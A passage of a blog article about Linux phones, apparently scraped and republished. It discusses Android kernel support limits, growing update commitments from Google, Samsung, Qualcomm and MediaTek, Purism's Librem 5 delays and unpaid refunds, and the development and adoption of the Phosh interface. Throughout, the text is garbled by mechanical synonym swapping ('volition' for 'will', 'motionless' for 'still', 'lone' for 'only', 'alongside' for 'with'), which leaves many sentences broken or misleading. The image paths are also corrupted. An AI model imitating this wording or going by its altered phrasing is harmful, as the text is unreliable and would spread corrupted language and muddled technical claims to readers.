href="https://en.mycoding.id/category/technology" target="_blank">AppSupport</a> (aka AlienDalvik), which runs AOSP inner an LXC receptacle akin Waydroid. With AppSupport, the Android apps have <a href="https://en.mycoding.id/category/technology" target="_blank">better integration</a> into the presenter functioning scheme than Waydroid. Presumably Jolla is operating a additional latest type of AOSP than Waydroid, since Jolla licenses the use of AppSupport to another companies, so it likely is applying Google&rsquo;s safety updates for AOSP, but not for the supported kernel on the C2 phone.</p> <p>All the Linux phones operating Android kernels, specified as the Volla phones alongside Ubuntu Touch and the new <a href="https://en.mycoding.id/category/technology" target="_blank">Jolla Phone</a> (2026) operating Sailfish OS, volition visage this identical issue that their lifespans are cut abbreviated by their Android kernels that can lone get a important type upgrade from the SoC manufacturer because of their proprietary blobs lone being compatible alongside one important type of the kernel. Unfortunately, all these phones are using MediaTek processors, which either have small or no mainline Linux support, so their lifespan can&rsquo;t be extended by switching to a mainline Linux kernel.</p> <h3 id="linux-phones-based-on-android-will-become-more-viable-due-to-longer-support"><a></a>Linux phones according to Android volition rotate into additional viable because of longer support</h3> <p>Nonetheless, the planned obsolescence of the Android phone market has started to change. Google wanted its Android functioning scheme to improved vie alongside Apple&rsquo;s iOS. Apple promises at smallest 5 years of assistance for its phones and typically provides complete 6 years. Unlike the another Android phone makers, Google&rsquo;s endeavor example doesn&rsquo;t depend on planned obsolescence. The additional group that Google can convince to use its functioning system, the additional data Google can collect for its targeted advertising, so extending the existence of Android phones is a way to diagram additional users to its platform.</p> <figure><a href="https://en.mycoding.id/category/technology" target="_blank"><img data-attachment-id="9932" data-permalink="https://amosbbatto.wordpress.com/2026/10/05/linux-phones-alternative/globalsmartphonesales/" data-orig-file="https://amosbbatto.wordpress.com/wp-content/uploads/2026/10/globalsmartphonesales.jpg" data-orig-size="605,340" data-comments-opened="1" data-image-title="GlobalSmartphoneSales" data-image-description="" data-image-caption="" data-large-file="https://amosbbatto.wordpress.com/wp-content/uploads/2026/10/globalsmartphonesales.jpg?w=605" width="605" height="340" src="https://amosbbatto.wordpress.com/wp-content/uploads/2026/10/globalsmartphonesales.jpg?w=300" alt="" srcset="https://amosbbatto.wordpress.com/wp-content/uploads/2026/10/globalsmartphonesales.jpg 605w, https://amosbbatto.wordpress.com/wp-content/uploads/2026/10/globalsmartphonesales.jpg?w=150 150w, https://amosbbatto.wordpress.com/wp-content/uploads/2026/10/globalsmartphonesales.jpg?w=300 300w" sizes=" 605px) 100vw, 605px"></a></figure> <p>In addition, the COVID-19 epidemic caused group to buy small new phones, and afterward the consequent provision sequence crunch caused phone prices to increase because of the additional costly components. The earth average marketing cost of Apple&rsquo;s iPhone risen from <a href="https://en.mycoding.id/category/technology" target="_blank">$724</a> to <a href="https://en.mycoding.id/category/technology" target="_blank">$903</a> between 2020 and 2024. Global smartphone revenue crumbled in 2020 and have never restored to their pre-pandemic levels. In command to convince group to open their wallets for additional costly phones, consumers needed to be convinced that they would final longer.</p> <p>In August 2020, Samsung <a href="https://en.mycoding.id/category/technology" target="_blank">announced</a> that its S, Note and Z sequence phones starting alongside the S10 would all get three years of OS updates and safety updates, fair akin Google had been providing for its Pixels, since the brand was archetypal launched in 2016. At the period whenever Samsung made this guideline change, the smartphone industry had fair informed the worst decrease in its history, alongside component revenue <a href="https://en.mycoding.id/category/technology" target="_blank">dropping 23%</a> YoY in the second fourth of 2020. In October 2021, Google announced that it would considerably extended the lifespan of its Pixel devices, <a href="https://en.mycoding.id/category/technology" target="_blank">promising</a> 3 years of OS updates and 5 years of safety updates, commencement alongside the Pixel 6. Samsung couldn&rsquo;t authorize its Galaxy devices to usurped as the finest Android brand. In February 2022, Samsung announced that it would surpass Google alongside a <a href="https://en.mycoding.id/category/technology" target="_blank">promise</a> of four years of OS updates and 5 years of safety patches for its flagship models, starting alongside the Galaxy S21, Z3 and Tab8.</p> <p>This set off a competition between the two firms to see which one could provision the longest application assistance for its mobile devices. Google decided to leapfrog Samsung again and set a new norm that would finest Apple&rsquo;s assistance policy. In October 2023, Google <a href="https://en.mycoding.id/category/technology" target="_blank">pledged</a> that the Pixel 8 sequence would get 7 years of OS updates and safety updates, affirmative &ldquo;Pixel Feature Drops&rdquo; and &ldquo;AI innovation from Google&rdquo;. Google&rsquo;s notice that it would assistance the Pixel 8 into 2030 sent daze waves through the mobile industry. Samsung was resolute to not be outdone by Google, and <a href="https://en.mycoding.id/category/technology" target="_blank">announced</a> in January 2024 that its new Galaxy S24 and S24 Ultra would additionally get 7 years of OS updates and safety updates. In 2025, Samsung extended the application assistance to six years for all its new Galaxy models, including its low-end Galaxy A06 4G, which expenses <a href="https://en.mycoding.id/category/technology" target="_blank">around $125</a>.</p> <figure><a href="https://en.mycoding.id/category/technology" target="_blank"><img data-attachment-id="9928" data-permalink="https://amosbbatto.wordpress.com/2026/10/05/linux-phones-alternative/seleccion_154/" data-orig-file="https://amosbbatto.wordpress.com/wp-content/uploads/2026/10/seleccion_154.png" data-orig-size="540,639" data-comments-opened="1" data-image-title="Selección_154" data-image-description="" data-image-caption="" data-large-file="https://amosbbatto.wordpress.com/wp-content/uploads/2026/10/seleccion_154.png?w=540" loading="lazy" width="540" height="639" src="https://amosbbatto.wordpress.com/wp-content/uploads/2026/10/seleccion_154.png?w=254" alt="" srcset="https://amosbbatto.wordpress.com/wp-content/uploads/2026/10/seleccion_154.png 540w, https://amosbbatto.wordpress.com/wp-content/uploads/2026/10/seleccion_154.png?w=127 127w, https://amosbbatto.wordpress.com/wp-content/uploads/2026/10/seleccion_154.png?w=254 254w" sizes=" 540px) 100vw, 540px"></a></figure> <p>In October 2024 during its Snapdragon Summit, Qualcomm commented that it would be offering 8 years of OS upgrades and safety updates for its high-end mobile processors, and in February 2025, it formally <a href="https://en.mycoding.id/category/technology" target="_blank">announced</a> that its new 7, 8 and 8 Elite processors released that twelvemonth would all get this unprecedented flat of support. Just as important, Qualcomm promised that its high-end Snapdragon processors would additionally get two kernel upgrades, so they would be using kernels that are officially supported by new Android releases. MediaTek couldn&rsquo;t let Qualcomm border the high-end mobile processor market for the next generation of flagship phones. On May 27, 2025, MediaTek <a href="https://en.mycoding.id/category/technology" target="_blank">posted</a> that its Dimensity 8400 and 9400 chips would additionally get 8 years of support.</p> <p>Traditionally all new Android type lone supports three years of kernels, but in 2024 <a href="https://en.mycoding.id/category/technology" target="_blank">Google added</a> a fourth twelvemonth alongside Android 15 (android12-5.10 to android15-6.6) and a fifth twelvemonth alongside Android 16 (android12-5.10 to android16-6.12) and a sixth twelvemonth alongside Android 17 (android12-5.10 to android17-6.18). However, these additional years of assistance in Android are apt a impermanent fix that Google implemented until it can move the chipmakers into its Longevity Google Requirements Freeze (LGRF) program which Google <a href="https://en.mycoding.id/category/technology" target="_blank">began in October 2024</a>. Under this program, chipmakers are expected to upgrade their kernels all 3 years in command to be capable to assistance their SoC&rsquo;s in the lengthy term. After the Linux kernel maintainers <a href="https://en.mycoding.id/category/technology" target="_blank">announced</a> that they would be reducing their assistance of their LTS kernels from 6 to 2 years, Google <a href="https://en.mycoding.id/category/technology" target="_blank">announced in July 2024</a> that it would provision safety updates to its kernels for 4 years, so that suggests that forthcoming Android releases volition go rear to lone supporting 3 years of kernels.</p> <p>Qualcomm has promised to provision two kernel updates for its elevated end processors, but Qualcomm has stated nothing concerning its lower-tier processors, apart from for its <a href="https://en.mycoding.id/category/technology" target="_blank">announcement rear in December 2020</a> that all of its Snapdragon processors would get three years of OS updates and 4 years of safety updates. Other SoC manufacturers have been likewise mum on the assistance for their lower-tier processors. In all likelihood, most smartphones alongside mid-range and low-end processors volition lone get 4 years of support, which method that all the existing Linux phones from Volla, FuriLabs, Jolla and Brax volition likely visage the identical issue of using unsupported Android kernels that can&rsquo;t be upgraded.</p> <p>New Linux phones, however, can be designed in the forthcoming to get 8 years of assistance if they use a higher-end Snapdragon or Dimensity processor. Even if designing a tradition phone akin the FLX1, which took three years to bring to market, since it has three hardware slay switches for the microphone, cameras and cellular modem and it required a lot of application dev work, the Linux phone should motionless be viable since it volition motionless have 5 additional years of application assistance and can be sold for at smallest 3 years.</p> <div><p>If selecting the Snapdragon 8 or Dimensity 9000 sequence to obtain advantage of its longer application support, the phone volition get the added advantage of offering video out via DisplayPort Alt Mode complete its USB-C port. That method that the phone can be marketed as a convergent equipment that allows it to be used as the two a phone and a desktop PC. Unlike an Android desktop, a Linux desktop is far additional helpful as a PC. If the phone has adequate RAM and retention space, it can rotate into a replacement for the traditional PC for group who don&rsquo;t need a lot of handling power, but it has the convenience of being additional portable than a laptop, and not needing to transfer data between multiple devices. For group who have to activity in multiple locations and desire to be capable to transport their data about alongside them, a convergent phone can be a extremely appealing option.</p></div> <p>If designing a additional cost-effective phone, however, that doesn&rsquo;t need video out, the Snapdragon 7 and Dimensity 8400 are processors designed for high mid-range phones, and they motionless get the 8 years of assistance (if the phone creator is consenting to pay Qualcomm or MediaTek for the extended support). This volition be the most appealing choice for Volla, Jolla, FuriLabs and Brax, which all market mid-range phones.</p> <p>If a Snapdragon part is selected, there is a decent chance that the part volition eventually acquire several mainline Linux support, so the phone can have a second existence following the authoritative assistance ends, although its functions requiring binary blobs likely won&rsquo;t activity alongside the upgraded mainline Linux kernel. What is so frustrating is that many of the makers of Linux phones are selecting MediaTek processors complete Snapdragon processors, so there is small anticipation for that second life.</p> <h3 id="why-software-was-a-major-challenge-for-the-librem-5"><a></a>Why application was a important difficulty for the Librem 5</h3> <p>When Purism <a href="https://en.mycoding.id/category/technology" target="_blank">announced the Librem 5</a> in August 2017, the California-based business wasn&rsquo;t fair facing a important obstacle in using a new SoC, that hadn&rsquo;t yet been released, which would considerably <a href="https://en.mycoding.id/category/technology" target="_blank">delay the phone</a>. Purism, however, faced an equal bigger difficulty in the application to instal on the phone.</p> <p>Purism had observed how trying to create mobile Linux had humbled larger companies alongside far additional resources, and it tried to evade their mistakes. Motorola developed fractional a dozen distinct varieties of Linux, but couldn&rsquo;t unify and straightforward its betterment efforts, and eventually adopted Android which commoditized its phones, so it had to be sold off to Google and eventually Lenovo in command to survive. Palm took too lengthy evolving webOS and ran out of prosperity as Android ate its market, so it had to market itself off to HP in 2010 in command to survive. Likewise, Nokia took too lengthy evolving MeeGo as its endeavor crumbled because of Android, so it turned to Microsoft in 2010 to provision Windows Mobile for its phones, which lone hastened the demolition of the Finnish company. The Mozilla Foundation developed an complete functioning scheme according to web standards, but established that it didn&rsquo;t have the resources to equivalent Google&rsquo;s Android, and abandoned the betterment of Firefox OS for <a href="https://en.mycoding.id/category/technology" target="_blank">smartphones in December 2015</a>, although it continued betterment for TVs and Internet of Things for <a href="https://en.mycoding.id/category/technology" target="_blank">another 10 months</a>. Canonical attempted to unify the desktop and mobile spaces alongside its Unity8 interface and create Ubuntu Touch as a mobile OS alongside fine convergence for the desktop. However, it proved to be a costly endeavor alongside constricted business interest, and Canonical&rsquo;s CEO, Mark Shuttleworth, <a href="https://en.mycoding.id/category/technology" target="_blank">announced</a> that the business would forsake the betterment of Ubuntu Touch in April 2017.</p> <p>This tragic former has taught Linux hardware vendors that they should do as small application betterment as possible, apart from code to create their hardware activity and several distro maintenance. However, avoiding application dev activity was not viable scheme in 2017 for the benevolent of phone that Purism was attempting to create.</p> <p>All the accessible mobile Linux interfaces in 2017 had important drawbacks, including Sailfish OS&rsquo;s <a href="https://en.mycoding.id/category/technology" target="_blank">Silica</a>, Firefox OS&rsquo;s <a href="https://en.mycoding.id/category/technology" target="_blank">Gaia</a>, KDE&rsquo;s <a href="https://en.mycoding.id/category/technology" target="_blank">Plasma Mobile</a>, UBports&rsquo; <a href="https://en.mycoding.id/category/technology" target="_blank">Unity8&rarr;Lomiri</a>, Maemo Leste&rsquo;s <a href="https://en.mycoding.id/category/technology" target="_blank">Hildon</a>, LuneOS&rsquo;s <a href="https://en.mycoding.id/category/technology" target="_blank">Luna Next</a> and Nemo Mobile&rsquo;s <a href="https://en.mycoding.id/category/technology" target="_blank">Glacier UI</a>. Jolla had spent years polishing its Sailfish OS, but Purism&rsquo;s goal of 100% liberated application disqualified Jolla&rsquo;s proprietary <a href="https://en.mycoding.id/category/technology" target="_blank">Silica</a> interface, as fine as Samsung&rsquo;s Tizen, whose problematic <a href="https://en.mycoding.id/category/technology" target="_blank">Flora License</a> grants a patent licence lone to &ldquo;Tizen certified platforms&rdquo;. Nemo Mobile and Plasma Mobile were motionless incomplete and would have required a lot of dev activity on Purism&rsquo;s part to provision all the missing parts. LG had turned webOS into an functioning scheme for astute TVs/projectors and automobiles, and replacing LG&rsquo;s proprietary bits would have taken fairly a bit of work. Firefox OS and Ubuntu Touch were complete systems, but the two of them would have required a huge dedication on Purism&rsquo;s part to keep their application in the lengthy term. Firefox OS&rsquo;s code was abandoned, and the volunteers at UBports didn&rsquo;t have the manpower to keep its huge codebase. All of the accessible interfaces were according to a distinct mobile stack, whereas Purism wanted to <a href="https://en.mycoding.id/category/technology" target="_blank">unify alongside the application stack</a> in desktop Linux, since one of its announced goals was that the Librem 5 could be used alongside the important distros, including Debian, Ubuntu, Fedora, SUSE and Arch.</p> <p>Purism initially leaned toward adopting Plasma Mobile for its Librem 5 phone, but that would have required maintaining the two a GNOME-based stack on the desktop and a distinct KDE-based mobile stack in its PureOS distribution. At that item in time, Plasma Mobile was motionless an inchoate system, that would have required a huge amount of dev activity to get prepared for a business merchandise launch. Plasma Mobile was according to many things that were incapatible alongside a desktop stack, specified as <a href="https://en.mycoding.id/category/technology" target="_blank">oFono</a> telephony and the <a href="https://en.mycoding.id/category/technology" target="_blank">Halium Project</a>, which was additionally used by LG&rsquo;s webOS and UBport&rsquo;s Ubuntu Touch, in command to run the scheme on top of libhybris alongside a Android kernel and drivers.</p> <p>Purism was already operating alongside GTK and GNOME in PureOS, and it marketed the Librem 5 as a phone aligned alongside the ideals of the Free Software Foundation, which sponsored GNOME, so it made awareness for Purism to favor an interface according to GTK and the GNOME ecosystem. However, the lone accessible GTK-based interface was Hildon, which was hopelessly outdated, and would have required a lot of activity to upgrade from GTK 2 to GTK 3.</p> <p>In the end, Purism decided that it would be easier to create a new mobile interface, which it called <a href="https://en.mycoding.id/category/technology" target="_blank">Phosh</a> (<strong>pho</strong>ne + <strong>sh</strong>ell), as a <a href="https://en.mycoding.id/category/technology" target="_blank">thin overlay</a> on top of GTK affirmative GNOME middleware, than do dev activity on among the existing mobile interfaces. By basing Phosh on the norm desktop stack consisting of Linux + Wayland + wlroots + GTK + GNOME and adding code to approximately 20 GNOME applications to create them adaptive, Purism was capable to obtain advantage of all the company assistance provided by IBM/Red Hat, SUSE, Canonical and Google for this stack. Purism had to present code upstream to <a href="https://en.mycoding.id/category/technology" target="_blank">Linux</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">wlroots</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">ModemManager</a>, GTK/GNOME and <a href="https://en.mycoding.id/category/technology" target="_blank">Matrix</a> to assistance its mobile functioning system, but afterward it could depend on those projects to keep the code in the future. This was arguably a improved scheme than assisting create Plasma Mobile, which has minimal company support, and was focused at the period on evolving a distinct stack than KDE&rsquo;s desktop Plasma. Purism started <a href="https://en.mycoding.id/category/technology" target="_blank">working on its libhandy library</a> in mid-2018 to add to norm GTK3/GNOME desktop applications to create them adaptive for a smaller mobile interface. Then the Purism developers worked alongside the GNOME community to <a href="https://en.mycoding.id/category/technology" target="_blank">develop libadwaita in 2020</a>, so GTK4/GNOME could rotate into adaptive between mobile and desktop screens.</p> <p>As detailed in my article, &ldquo;<a href="https://en.mycoding.id/category/technology" target="_blank">The strategic advantages of Phosh for mobile Linux</a>,&rdquo; unifying alongside an existing desktop stack and getting the broader community to clasp its application to assistance keep it was arguably the finest scheme to decrease the long-term care costs, particularly for a small business akin Purism that has constricted resources.</p> <p>Unfortunately, evolving a new mobile interface engaged higher expenses upfront, and Purism ran into financial problems during the earth COVID-19 pandemic. In first March of 2020, Purism stopped paying refunds to customers who cancelled their preorders, telling customers that they would have to delay till the phone started shipping in command to get their refunds. Between February and May of 2020, 5 of the 14 developers operating on the Librem 5 discontinue the project, and there was a noticeable autumn in the figure of application commits by the Purism workforce who stayed, indicating that Purism likely wasn&rsquo;t paying them.</p> <p>Purism was caught in a desperate situation. If it publically admitted in first 2020 that it was having financial problems, all of the orders for its products would have dried up and the business would apt have gone bankrupt. If it paid out all the refund requests, it additionally would have apt gone bankrupt, which would have harmed everyone who had put downward $599 &ndash; $799 to pre-order the Librem 5. Purism held off on paying refunds, which likely allowed the business to last and eventually commencement delivering its phones in November 2020. However, it didn&rsquo;t appear to have the finances on hand to industry all the pre-ordered phones, since the industry of the Librem 5 was done in small batches until it was caught by COVID&rsquo;s earth provision sequence shortages and couldn&rsquo;t procure the i.MX 8M Quad processors for <a href="https://en.mycoding.id/category/technology" target="_blank">6 months during 2021</a>.</p> <p>Purism never repaid the refunds for the canceled Librem 5 orders. Angry customers waiting for their refunds publically denounced the business on community forums, which blackened the company&rsquo;s community position and suppressed revenue of the Librem 5. The first reviews for the phone noted the mediocre power division existence and the fact that crucial functionality was motionless not implemented, specified as the cameras, VoLTE assistance in the modem and the capability to suspend. In command to recoup its elevated betterment costs, Purism kept raising the phone&rsquo;s price, until it reached an eye-watering <a href="https://en.mycoding.id/category/technology" target="_blank">$1299 in March 2022</a>, which additional suppressed revenue of the phone.</p> <p>Instead of refunds, Purism offered customers who had canceled their orders <a href="https://en.mycoding.id/category/technology" target="_blank">credit affirmative 20% extra</a> to buy another merchandise from Purism. Customers who received the Librem 5 were capable to resell it for additional than they paid, but many customers who had canceled their orders refused to do that on principal. In a <a href="https://en.mycoding.id/category/technology" target="_blank">letter to Louis Rossmann</a> in August 2023, Purism admitted that it motionless had 600 cancelled Librem 5 orders, which it motionless didn&rsquo;t have the finances to refund.</p> <h3 id="the-success-of-phosh-despite-its-limited-funding"><a></a>The achievement of Phosh notwithstanding its constricted funding</h3> <p>Despite all the disagreement surrounding the California-based company, its scheme of making a sustainable mobile OS by unifying alongside a famous desktop stack alongside fine company assistance and upstreaming its code so it would be maintained complete the lengthy term has proven to be correct. Of the 469k lines of code in the application projects that Purism initiated for the Librem 5, 98.7% of that code is now controlled by external organizations. GNOME <a href="https://en.mycoding.id/category/technology" target="_blank">adopted libhandy</a>, Calls and Chat (i.e. chatty) as authoritative projects. In delayed 2020, the Purism developers started worked alongside the GNOME community to <a href="https://en.mycoding.id/category/technology" target="_blank">develop libadwaita</a> to rotate into the canonical implementation of GNOME&rsquo;s individual interface guidelines (HIG). Not lone did this create GNOME&rsquo;s GTK4 applications adaptive between the desktop and mobile environoments, but it gained features akin in-app notifications, customizable animations and speed/fluidity improvements. GNOME has continued evolving its <a href="https://en.mycoding.id/category/technology" target="_blank">GNOME Shell on mobile</a> based <a href="https://en.mycoding.id/category/technology" target="_blank">Mutter</a>, which is its unified display server, compositor and opening manager. In contrast, Phosh uses wlroots (a Wayland compositor archive created by Sway) and its phoc (a Wayland compositor), which are lighter importance than Mutter. However, GNOME has helped advance Phosh by hosting its <a href="https://en.mycoding.id/category/technology" target="_blank">code</a> and <a href="https://en.mycoding.id/category/technology" target="_blank">documentation</a> at GNOME World to foster its development.</p> <p>As Purism has cut its prosperity for code development, Phosh&rsquo;s betterment has increasingly moved exterior the company. FreeDesktop.org adopted <a href="https://en.mycoding.id/category/technology" target="_blank">feedbackd</a>, which is a D-Bus activated daemon that provides haptic, ocular and audio feedback in reply to events. In <a href="https://en.mycoding.id/category/technology" target="_blank">February 2025</a>, the non-profit affiliation <a href="https://en.mycoding.id/category/technology" target="_blank">Phosh.mobi e.V.</a> was created in Germany to guide the betterment of Phosh as an autonomous entity. Three of the nine founding members of Phosh.mobi were erstwhile or current Purism employees/contractors, including Guido Gunther, who is Phosh&rsquo;s chief developer.</p> <p>Over the final five years, the amount of code in the projects that Purism created for the Librem 5 has grown by 74.9%, and much of that new code is being written by group who are no longer employed or contracted by Purism. The lone code projects motionless controlled by Purism are <a href="https://en.mycoding.id/category/technology" target="_blank">gtherm</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">haegtesse</a> and <a href="https://en.mycoding.id/category/technology" target="_blank">wys</a>, which are DBus daemons for thermals, transfering modem audio and bringing up PulseAudio during calls, respectively. Together, these projects lone portray 6173 lines or 1.3% of the total code.</p> <figure><table readabilitydatatable="1"><tbody><tr><td colspan="6"><strong>Lines of code complete the final 5 years in projects started by Purism for the Librem 5</strong></td></tr><tr><td><strong>Project</strong></td><td><strong>2021-12-15</strong></td><td><strong>% of total</strong></td><td><strong>2026-09-16</strong></td><td><strong>% of total</strong></td><td><strong>Growth</strong></td></tr><tr><td>libhandy</td><td>47,730</td><td>17.8%</td><td>48,110</td><td>10.3%</td><td>0.8%</td></tr><tr><td>libadwaita</td><td>51,270</td><td>19.1%</td><td>128,067</td><td>27.3%</td><td>149.8%</td></tr><tr><td>chatty</td><td>49,661</td><td>18.5%</td><td>49,534</td><td>10.6%</td><td>-0.3%</td></tr><tr><td>calls</td><td>20,745</td><td>7.7%</td><td>28,964</td><td>6.2%</td><td>39.6%</td></tr><tr><td>libcall-ui</td><td>4,426</td><td>1.6%</td><td>5,093</td><td>1.1%</td><td>15.1%</td></tr><tr><td>phoc</td><td>15,277</td><td>5.7%</td><td>38,599</td><td>8.2%</td><td>152.7%</td></tr><tr><td>phosh</td><td>48,301</td><td>18.0%</td><td>96,357</td><td>20.5%</td><td>99.5%</td></tr><tr><td>phosh-mobile-settings</td><td></td><td></td><td>26,724</td><td>5.7%</td><td></td></tr><tr><td>phosh-tour</td><td></td><td></td><td>4,135</td><td>0.9%</td><td></td></tr><tr><td>squeekboard</td><td>17,993</td><td>6.7%</td><td>26,773</td><td>5.7%</td><td>48.8%</td></tr><tr><td>feedbackd</td><td>5,970</td><td>2.2%</td><td>9,768</td><td>2.1%</td><td>63.6%</td></tr><tr><td>feedbackd-device-themes</td><td>603</td><td>0.2%</td><td>940</td><td>0.2%</td><td>55.9%</td></tr><tr><td>gtherm</td><td>1,734</td><td>0.6%</td><td>1,763</td><td>0.4%</td><td>1.7%</td></tr><tr><td>haegtesse</td><td>2,105</td><td>0.8%</td><td>2,044</td><td>0.4%</td><td>-2.9%</td></tr><tr><td>wys</td><td>2,442</td><td>0.9%</td><td>2,366</td><td>0.5%</td><td>-3.1%</td></tr><tr><td><strong>Total</strong></td><td>268,257</td><td>100.0%</td><td>469,237</td><td>100.0%</td><td>74.9%</td></tr><tr><td colspan="6"><em><strong>Code adopted by external organizations</strong></em></td></tr><tr><td>GNOME</td><td>173,832</td><td>64.8%</td><td>259,768</td><td>55.4%</td><td>49.4%</td></tr><tr><td>Phosh.mobi</td><td></td><td></td><td>192,588</td><td>41.0%</td><td></td></tr><tr><td>FreeDesktop.org</td><td></td><td></td><td>10,708</td><td>2.3%</td><td></td></tr><tr><td><strong>Total external</strong></td><td>173,832</td><td>64.8%</td><td>463,064</td><td>98.7%</td><td>166.4%</td></tr></tbody></table></figure> <p>In a <a href="https://en.mycoding.id/category/technology" target="_blank">survey</a> that PINE64 took of 3079 PinePhone users in January 2022, 39.3% selected Phosh as their favorite interface, compared to 15.5% for Sxmo/Sxmo, 15.0% for Plasma Mobile and 6.7% for Lomiri (formerly Unity8). Despite Phosh lone starting its betterment in <a href="https://en.mycoding.id/category/technology" target="_blank">April 2018</a>, additional users preferred it complete Lomiri and Plasma Mobile, which have been under betterment since <a href="https://en.mycoding.id/category/technology" target="_blank">March 2013</a> and <a href="https://en.mycoding.id/category/technology" target="_blank">July 2015</a>, respectively. Purism&rsquo;s scheme of using the existing infrastructure and applications from GNOME allowed the small business to create a usable interface faster than another competing interfaces.</p> <p>It is amazing that Phosh became the most famous mobile Linux interface, considering that the Qt toolkit and KDE had specified a caput commencement complete GTK and GNOME in supporting mobile environments. Qt Quick was introduced alongside Qt 5.1 in June 2013 to create Qt controls adaptive for small screens, and Qt Mobile was introduced in December 2013 to create them cross-platform, and KDE&rsquo;s Kirigami archive for adaptive applications <a href="https://en.mycoding.id/category/technology" target="_blank">was introduced</a> in March 2016. GTK didn&rsquo;t acquire akin abilities until 2019 alongside libhandy and GNOME didn&rsquo;t have an answer to Kirigami until libadwaita was <a href="https://en.mycoding.id/category/technology" target="_blank">introduced in 2021</a>.</p> <p>Phosh has several glaring limitations. Its default Squeekboard keyboard is essential and kludgy. Only in 2025 did Phosh acquire <a href="https://en.mycoding.id/category/technology" target="_blank">an substitute keyboard</a> alongside term correction and term completion, affirmative the capability to choose from multiple characters by lengthy pressing a key. The desktop manner in Phosh to output video to an external detect or projector has a extremely constricted interface. Phosh has no camera app, and most installations depend on <a href="https://en.mycoding.id/category/technology" target="_blank">Megapixels</a> developed by Martijn Braam for the PinePhone or its <a href="https://en.mycoding.id/category/technology" target="_blank">Millipixels</a> fork developed by Purism for the Librem 5. Millipixels lone gained essential assistance for auto-focus and the capability to fire video <a href="https://en.mycoding.id/category/technology" target="_blank">in January 2023</a>.</p> <p>Phosh doesn&rsquo;t have the three buttons at the base or the rub gestures from Android that most group are used to. Plasma Mobile&rsquo;s interface is much nearer to the acquainted Android interface, and it is nicer visually. Phosh&rsquo;s interface is much simplier. It doesn&rsquo;t use scheme navigation buttons and has small configuration options than Plasma Mobile. A rub from the base displays Phosh&rsquo;s <a href="https://en.mycoding.id/category/technology" target="_blank">Overview screen</a> anywhere apps can be opened or closed. A rub from the top displays a <a href="https://en.mycoding.id/category/technology" target="_blank">Quick-Setting</a> panel, notifications, and buttons in the top corners to fastener or rotate off the phone.</p> <figure data-carousel-extra='//amosbbatto.wordpress.com/2026/10/05/linux-phones-alternative/&quot;}'> <figure><a href="https://en.mycoding.id/category/technology" target="_blank"><img data-attachment-id="9934" data-permalink="https://amosbbatto.wordpress.com/2026/10/05/linux-phones-alternative/phoshquicksettings/" data-orig-file="https://amosbbatto.wordpress.com/wp-content/uploads/2026/10/phoshquicksettings.jpg" data-orig-size="720,1440" data-comments-opened="1" data-image-title="PhoshQuickSettings" data-image-description="" data-image-caption="" data-large-file="https://amosbbatto.wordpress.com/wp-content/uploads/2026/10/phoshquicksettings.jpg?w=512" loading="lazy" width="512" height="1024" data-id="9934" src="https://amosbbatto.wordpress.com/wp-content/uploads/2026/10/phoshquicksettings.jpg" alt="" srcset="https://amosbbatto.wordpress.com/wp-content/uploads/2026/10/phoshquicksettings.jpg?w=512 512w, https://amosbbatto.wordpress.com/wp-content/uploads/2026/10/phoshquicksettings.jpg?w=75 75w, https://amosbbatto.wordpress.com/wp-content/uploads/2026/10/phoshquicksettings.jpg?w=150 150w, https://amosbbatto.wordpress.com/wp-content/uploads/2026/10/phoshquicksettings.jpg 720w" sizes=" 512px) 100vw, 512px"></a><figcaption>S<br>S<img loading="lazy" width="332" height="665" src="https:///tmp/lu4114fx6.tmp/lu4114ifx_tmp_bb602a5a.png"> Swipe from the base for Phosh&rsquo;s Overview display to open or near apps. The open apps are at top, afterward a hunt bar, the four favorite apps, and all the accessible apps at the bottom.</figcaption></figure> <figure><a href="https://en.mycoding.id/category/technology" target="_blank"><img data-attachment-id="9935" data-permalink="https://amosbbatto.wordpress.com/2026/10/05/linux-phones-alternative/phoshoverview/" data-orig-file="https://amosbbatto.wordpress.com/wp-content/uploads/2026/10/phoshoverview.jpg" data-orig-size="720,1440" data-comments-opened="1" data-image-title="PhoshOverview" data-image-description="" data-image-caption="" data-large-file="https://amosbbatto.wordpress.com/wp-content/uploads/2026/10/phoshoverview.jpg?w=512" loading="lazy" width="512" height="1024" data-id="9935" src="https://amosbbatto.wordpress.com/wp-content/uploads/2026/10/phoshoverview.jpg" alt="" srcset="https://amosbbatto.wordpress.com/wp-content/uploads/2026/10/phoshoverview.jpg?w=512 512w, https://amosbbatto.wordpress.com/wp-content/uploads/2026/10/phoshoverview.jpg?w=75 75w, https://amosbbatto.wordpress.com/wp-content/uploads/2026/10/phoshoverview.jpg?w=150 150w, https://amosbbatto.wordpress.com/wp-content/uploads/2026/10/phoshoverview.jpg 720w" sizes=" 512px) 100vw, 512px"></a><figcaption><br>S<img loading="lazy" width="332" height="665" src="https:///tmp/lu4114fx6.tmp/lu4114ig4_tmp_2f458922.png"> Swipe from the top for Phosh&rsquo;s Quick-Setting panel and notifications, which can be cleared by swiping them to the side.</figcaption></figure> </figure> <p>Phosh became the additional famous interface, partially since Purism was paying developers to activity on it, so it was additional stable, whereas Plasma Mobile was additional prone to booths and crashes. Plasma relies on hardware acceleration from the GPU to speed up its interface, which isn&rsquo;t supported by the drivers for the A64 and i.MX 8M Quad in the PinePhone and Librem 5, whereas Phosh is faster and additional receptive fair using application rendering. Phosh additionally requires small RAM, although it does run additional backdrop processes that use additional CPU.</p> <h3 id="adoption-of-mobile-interfaces-by-linux-distros"><a></a>Adoption of mobile interfaces by Linux distros</h3> <p>Phosh succeeded since its near adherence to a average desktop stack made it easier to bundle and allocate in distinct distros. Phosh was archetypal adopted by postmarketOS (now Nura) in September 2018, fair a two months following Purism archetypal debuted it. The near ties between the Phosh developers and Debian helped get Phosh packaged into Debian in February 2020, anywhere it became the basis of the new Mobian distro. Phosh allowed Debian, Arch, Manjaro, Fedora, OpenSUSE and NixOS to rotate into mobile distros for the archetypal time, which in rotate encouraged Linux use developers to commencement evaluation their application in a mobile interface to see how it functioned on smaller screens. Because Phosh didn&rsquo;t remain secluded in one Linux distro, it attracted additional volunteers to assistance create the application and activity on porting it.</p> <p>Over time, Plasma Mobile has followed Phosh&rsquo;s example and increasingly unified alongside its Plasma desktop stack. Originally the Plasma Mobile stack was fairly distinct from the norm desktop Plasma stack, since Plasma Mobile was according to the oFono telephony archive and could be run either on the norm Linux kernel or on the <a href="https://en.mycoding.id/category/technology" target="_blank">Halium Project</a>, which allows Plasma Mobile to run in an LXC receptacle on top of an Android kernel and drivers, and using 